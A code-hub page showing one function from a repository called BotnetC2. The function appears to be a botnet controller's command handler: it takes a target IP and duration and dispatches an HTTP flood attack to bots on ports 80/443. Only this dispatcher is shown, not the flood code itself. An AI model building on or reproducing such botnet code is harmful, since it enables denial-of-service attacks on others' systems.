MCPcopy Create free account
hub / github.com/Hex1629/BotnetC2 / http_req2

Function http_req2

BOTNETc2/api.py:120–131  ·  view source on GitHub ↗
(args, validate_time, send, client, ansi_clear, attack_sent1, broadcast, data)

Source from the content-addressed store, hash-verified

118 send(client, '[HTTP_METHODS] <-- get post head delete options patch put all')
119
120def http_req2(args, validate_time, send, client, ansi_clear, attack_sent1, broadcast, data):
121 if len(args) == 3:
122 ip = args[1]
123 secs = args[2]
124 if validate_time(secs):
125 send(client, ansi_clear, False)
126 attack_sent1(ip,"80/443", secs, client)
127 broadcast(data)
128 else:
129 send(client, Fore.RED + 'Invalid attack duration (1-999999999999 seconds)')
130 else:
131 send(client, 'Usage: .http_dfb [URL] [TIME]')

Callers 1

command_lineFunction · 0.70

Calls 4

validate_timeFunction · 0.70
sendFunction · 0.70
attack_sent1Function · 0.70
broadcastFunction · 0.70

Tested by

no test coverage detected